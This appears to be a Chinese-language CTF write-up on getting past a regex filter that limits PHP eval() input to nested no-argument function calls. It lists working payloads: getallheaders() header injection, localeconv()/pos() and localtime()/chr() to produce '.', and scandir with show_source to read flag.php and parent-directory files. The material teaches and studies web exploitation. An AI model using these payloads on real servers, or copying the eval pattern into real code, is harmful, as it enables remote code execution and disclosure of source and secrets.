目录
代码
代码解析
如何绕过获取flag
第一种方法(在apache中)
编辑
第二种方法
首先获取目录下文件
代码
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);
}
?>
代码解析
[^\W]+\((?R)?\)
这个正则的意思是这个正则表达式可以用于匹配带有嵌套括号的结构,例如这样adb(asdf(asdf())),也就是可以匹配无参数的函数,但是不可以以这个形式呈现a('a')
如何绕过获取flag
下面两者方法flag都在当前目录下如果再上一级目录就是可以使用dirname()这个函数
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));//切换为上一层目录并读取文件,chdir就是切换工作路径的
第一种方法(在apache中)
我们可以使用各种函数来获取目录或者文件名
在apache2中我们可以使用getallheaders(),getallheaders()是apache_request_headers() 的别名函数,getallheaders()函数的主要作用是获取HTTP请求的所有头部信息,且这个只可以在Apache环境下使用
我们可以在header头部加一个字段,这个字段咱可以自己构造
然后我们可以使用pos或者current来取出数组中第一位的值
如下图
http://192.168.244.152/web.php?code=print_r(pos(getallheaders()));
然后执行命令
show_source()可以用来获取源代码
code=show_source(pos(getallheaders()));
第二种方法
首先获取目录下文件
可以使用以下方法
getcwd
函数是PHP中的一个内置函数,它的功能是获取当前脚本的工作目录的绝对路径。
print_r(scandir(getcwd()));
scandir('.')扫描当前目录下所有文件,但是“.”(为方便后续出现的.都用“”引起来)这个“.” 是不可以出现的因为有正则,所以要想方设法出现 .
也可以使用这个方法
获取”.“我们可以使用localeconv() 这个函数,而localeconv()这个函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."(后续出现的.都用双引号包裹,方便识别) ,然后我们在再使用pos()或者current()返回数组中第一个值
http://192.168.244.152/web.php?code=print_r(scandir(pos(localeconv())));
成功获取
获取“.”的方式多种多样
比如说使用时间戳获取
使用time获取时间然后localtime是把从1970-1-1零点零分到当前时间系统所偏移的秒数时间转换为本地时间,然后再使用chr返回对应的ascii码值,当出现46时“.”就出现了
http://192.168.244.152/web.php?code=print_r(scandir(chr(pos(localtime(time())))));
目录得到以后,获取flag.php
我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组,然后多点几下就可以获取了
http://192.168.244.152/web.php?code=print_r(array_rand(array_flip(scandir(getcwd()))));
然后可以使用show_source获取flag
http://192.168.244.152/web.php?code=show_source(array_rand(array_flip(scandir(getcwd()))));